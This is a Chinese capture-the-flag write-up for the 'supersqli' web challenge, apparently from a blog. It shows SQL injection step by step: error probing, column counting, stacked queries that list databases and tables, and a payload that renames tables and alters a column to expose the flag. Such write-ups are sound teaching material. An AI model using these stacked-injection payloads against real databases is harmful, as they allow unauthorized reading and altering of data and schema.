攻防世界web supersqli writeup

在这里插入图片描述
题目主界面如上,提交1查询出一条结果

在这里插入图片描述
尝试单引号注入发现报错,那么判断存在注入
在这里插入图片描述用order by查询有几个字段;
当order by 3的时候发现出错了
在这里插入图片描述接着使用union联合查询,发现关键字被过滤了,用大写也无法绕过
在这里插入图片描述于是换用堆叠注入的方法

1';show databases #

在这里插入图片描述
出现多个数据库,注意到有supersqli库,再次构造

1';show tables from supersqli #

在这里插入图片描述
发现有两个表,分别对其进行查看得
1.words
在这里插入图片描述2.1919810931114514(注意查询的时候以字符串为名的表要用反引号括住)
在这里插入图片描述根据查询的结果来看,是一个数字外加一个字符串,与words表中数据相吻合,所以说words应该是默认查询的表,根据words中的id值进行查找,我们可以把1919810931114514这个表命名为words,并把其中的flag字段改为id,查询的时候就可以将flag进行显示,把原先的words改成其他名字,使有flag的表成为默认查询表

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

再进行or语句的构造

1' or 1=1#

在这里插入图片描述
参考链接:https://www.cnblogs.com/weak-chicken/p/12291092.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值